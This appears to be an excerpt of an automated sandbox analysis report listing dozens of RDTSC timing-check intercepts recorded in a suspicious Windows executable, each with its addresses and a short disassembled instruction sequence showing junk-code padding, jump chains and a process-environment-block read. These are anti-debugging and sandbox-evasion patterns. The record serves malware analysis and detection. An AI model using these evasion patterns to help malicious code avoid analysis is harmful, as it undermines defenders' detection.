Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 146D728 second address: 146D72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 146D72E second address: 146D738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 146D738 second address: 146D75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA94CE91938h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 146D75C second address: 146D789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FA94CE93539h 0x0000000b jmp 00007FA94CE9352Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 146D789 second address: 146D794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 146D794 second address: 146D79E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA94CE93526h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 146D3F0 second address: 146D3F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 146D3F8 second address: 146D3FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147AB83 second address: 147AB98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9192Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147A602 second address: 147A606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147A759 second address: 147A75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147C170 second address: 147C174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147C174 second address: 147C18E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007FA94CE91932h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147C18E second address: 147C19A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FA94CE93526h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147F66E second address: 147F672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147F389 second address: 147F38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147F38D second address: 147F3AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FA94CE91931h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FA94CE9192Eh 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147F3AE second address: 147F3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FA94CE9352Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 147F3C3 second address: 147F3C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1495476 second address: 1495486 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA94CE93526h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 1495486 second address: 149548A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 149548A second address: 14954B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Ch 0x00000007 jns 00007FA94CE93526h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007FA94CE93530h 0x00000015 pop edi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14954B9 second address: 14954C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14954C3 second address: 14954C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14958FA second address: 149591F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA94CE9192Bh 0x00000009 jmp 00007FA94CE91936h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 149591F second address: 149594F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA94CE93526h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007FA94CE93560h 0x00000012 jmp 00007FA94CE93534h 0x00000017 push eax 0x00000018 push edx 0x00000019 jnl 00007FA94CE93526h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 149594F second address: 1495953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14DC9E0 second address: 14DCA0B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FA94CE93533h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FA94CE93532h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14DCA0B second address: 14DCA17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FA94CE91926h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14DCA17 second address: 14DCA34 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FA94CE93534h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14D5D90 second address: 14D5D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14D5D94 second address: 14D5D9E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA94CE93526h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14D5D9E second address: 14D5DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FA94CE9192Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14EA3EC second address: 14EA418 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA94CE93546h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14EA418 second address: 14EA41C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14EA280 second address: 14EA29A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93530h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 14EA29A second address: 14EA2AC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA94CE91926h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FA94CE9192Eh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 13A7B9D second address: 13A7BAD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007FA94CE93526h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15BA9E4 second address: 15BA9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15BE882 second address: 15BE897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA94CE93526h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f js 00007FA94CE93526h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15BEE8A second address: 15BEE90 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15BEE90 second address: 15BEE99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15BF013 second address: 15BF035 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA94CE91926h 0x00000008 jbe 00007FA94CE91926h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jng 00007FA94CE9192Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15BF035 second address: 15BF039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15BF039 second address: 15BF03D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15BF164 second address: 15BF173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jbe 00007FA94CE9352Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C1DAA second address: 15C1DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C1E62 second address: 15C1E68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C20D3 second address: 15C2162 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA94CE91939h 0x00000008 jmp 00007FA94CE91933h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FA94CE91928h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a and edx, 604E0847h 0x00000030 push 00000004h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FA94CE91928h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000018h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c add edx, dword ptr [ebp+122D2ABFh] 0x00000052 mov edx, dword ptr [ebp+122D2AEBh] 0x00000058 call 00007FA94CE91929h 0x0000005d je 00007FA94CE9192Ah 0x00000063 push eax 0x00000064 pushad 0x00000065 popad 0x00000066 pop eax 0x00000067 push eax 0x00000068 push esi 0x00000069 push edi 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C2162 second address: 15C2176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d ja 00007FA94CE93526h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C2176 second address: 15C2185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA94CE9192Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C2185 second address: 15C21AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnp 00007FA94CE93531h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 ja 00007FA94CE93526h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C2400 second address: 15C2409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C2409 second address: 15C241D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C241D second address: 15C24ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA94CE91931h 0x00000009 popad 0x0000000a pop esi 0x0000000b nop 0x0000000c mov edx, dword ptr [ebp+122D2A8Fh] 0x00000012 push dword ptr [ebp+122D1839h] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FA94CE91928h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 jmp 00007FA94CE91936h 0x00000037 call 00007FA94CE91929h 0x0000003c jmp 00007FA94CE91939h 0x00000041 push eax 0x00000042 ja 00007FA94CE91933h 0x00000048 mov eax, dword ptr [esp+04h] 0x0000004c jmp 00007FA94CE9192Eh 0x00000051 mov eax, dword ptr [eax] 0x00000053 jmp 00007FA94CE91938h 0x00000058 mov dword ptr [esp+04h], eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FA94CE9192Fh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 15C5316 second address: 15C531A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0024 second address: 78B002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B002A second address: 78B002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B002E second address: 78B0050 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA94CE9192Dh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edi, 29E4E35Eh 0x00000017 mov dl, D7h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0050 second address: 78B0098 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 mov dh, cl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FA94CE9352Ch 0x00000016 adc esi, 29468F58h 0x0000001c jmp 00007FA94CE9352Bh 0x00000021 popfd 0x00000022 jmp 00007FA94CE93538h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0098 second address: 78B00E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA94CE91931h 0x00000009 sub si, E5A6h 0x0000000e jmp 00007FA94CE91931h 0x00000013 popfd 0x00000014 mov edx, ecx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov eax, dword ptr fs:[00000030h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FA94CE91934h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B00E7 second address: 78B00ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B00ED second address: 78B0191 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edi 0x00000005 call 00007FA94CE91938h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e sub esp, 18h 0x00000011 pushad 0x00000012 movsx edx, si 0x00000015 call 00007FA94CE91938h 0x0000001a call 00007FA94CE91932h 0x0000001f pop esi 0x00000020 pop ebx 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 mov edi, esi 0x00000026 mov bx, si 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007FA94CE91935h 0x00000030 xchg eax, ebx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FA94CE9192Ch 0x00000038 adc ax, 47F8h 0x0000003d jmp 00007FA94CE9192Bh 0x00000042 popfd 0x00000043 mov eax, 4184292Fh 0x00000048 popad 0x00000049 mov ebx, dword ptr [eax+10h] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f mov di, 8272h 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0191 second address: 78B0197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0197 second address: 78B01CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov bl, ah 0x0000000c mov di, D188h 0x00000010 popad 0x00000011 mov dword ptr [esp], esi 0x00000014 jmp 00007FA94CE91937h 0x00000019 mov esi, dword ptr [775606ECh] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B01CE second address: 78B01E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE93537h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B01E9 second address: 78B0261 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 423A143Ah 0x00000008 pushfd 0x00000009 jmp 00007FA94CE9192Bh 0x0000000e sub cl, FFFFFFDEh 0x00000011 jmp 00007FA94CE91939h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a test esi, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007FA94CE91933h 0x00000024 pushfd 0x00000025 jmp 00007FA94CE91938h 0x0000002a sbb ecx, 5662B638h 0x00000030 jmp 00007FA94CE9192Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0261 second address: 78B0267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0267 second address: 78B026B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B026B second address: 78B02C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FA94CE9442Ah 0x0000000e pushad 0x0000000f mov edi, 65133180h 0x00000014 pushfd 0x00000015 jmp 00007FA94CE93539h 0x0000001a adc esi, 15EA3F86h 0x00000020 jmp 00007FA94CE93531h 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, edi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FA94CE9352Dh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B02C2 second address: 78B02E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE91931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA94CE9192Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B02E6 second address: 78B030D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA94CE9352Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA94CE93535h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B030D second address: 78B0372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA94CE91937h 0x00000009 jmp 00007FA94CE91933h 0x0000000e popfd 0x0000000f mov edi, eax 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 call dword ptr [77530B60h] 0x0000001a mov eax, 756AE5E0h 0x0000001f ret 0x00000020 jmp 00007FA94CE91932h 0x00000025 push 00000044h 0x00000027 jmp 00007FA94CE91930h 0x0000002c pop edi 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 movzx eax, di 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0372 second address: 78B03EC instructions: 0x00000000 rdtsc 0x00000002 call 00007FA94CE93539h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007FA94CE93531h 0x0000000f movzx eax, bx 0x00000012 pop edi 0x00000013 popad 0x00000014 xchg eax, edi 0x00000015 jmp 00007FA94CE93538h 0x0000001a push eax 0x0000001b jmp 00007FA94CE9352Bh 0x00000020 xchg eax, edi 0x00000021 pushad 0x00000022 pushad 0x00000023 mov ebx, esi 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 mov dl, ch 0x0000002a popad 0x0000002b push dword ptr [eax] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FA94CE93532h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B0436 second address: 78B043A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Hqle5OSmLQ.exeRDTSC instruction interceptor: First address: 78B043A second address: 78B0440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
